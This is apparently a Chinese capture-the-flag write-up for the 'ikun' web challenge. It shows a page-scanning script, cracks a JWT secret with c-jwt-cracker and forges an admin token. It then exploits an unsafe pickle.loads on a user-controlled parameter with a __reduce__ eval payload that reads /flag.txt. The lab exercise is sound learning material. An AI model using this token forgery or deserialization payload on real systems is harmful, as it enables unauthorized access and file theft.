访问页面注册帐户登录,提示要买到lv6,翻了好几页发现没得lv6的商品,写个脚本跑看看lv6商品在第几页
import requests
i = 0
while True:
i += 1
url = 'http://40902fee-e0e5-4d7a-8b38-b16b5f97549b.node4.buuoj.cn:81/shop?page=%d' % (i)
print(url)
res = requests.get(url)
if (res.status_code == 200) & ('lv6.png' in res.text):
break
print(i)
在第181页找到lv6商品
但是lv6需要1145141919.0,帐户中只有10,抓包试试改价格,最终失败;修改折扣,也失败
在修改折扣后跳出来一个地址,访问一下,只允许admin访问
但是在header看到cookie中有个JWT,证明身份验证采用的是JWT,则可以爆破密匙然后解析JWT
Cookie: _xsrf=2|33888dbf|67745a3bbfbeb269b184a0a2d045e69d|1660383167; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78
爆破JWT密匙
这里使用的是brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78
Secret is "1Kun"
解析JWT
使用密匙去解析网站jwt.io伪造admin身份,得到admin的JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
修改cookie的JWT发包,点击一键成为大会员,并没有什么反应。
但是在网页源码中显示出了备份文件的网址,下载备份文件
python反序列化漏洞
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
在/www/sshop/views/Admin.py文件中使用了pickle模块,并且become参数可控,所以存在反序列化漏洞
通过重写__reduce__()魔法方法读取flag文件,reduce()魔法方法是当对象被Pickle时就会被调用
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
添加参数发送请求,得到flag
flag{e1f91f72-ffb2-4e96-b7e5-e705abd4091a}
标签:__,WEB,lv6,ikun,JWT,Day1,flag,become,pickle
From: https://www.cnblogs.com/scarecr0w7/p/17377291.html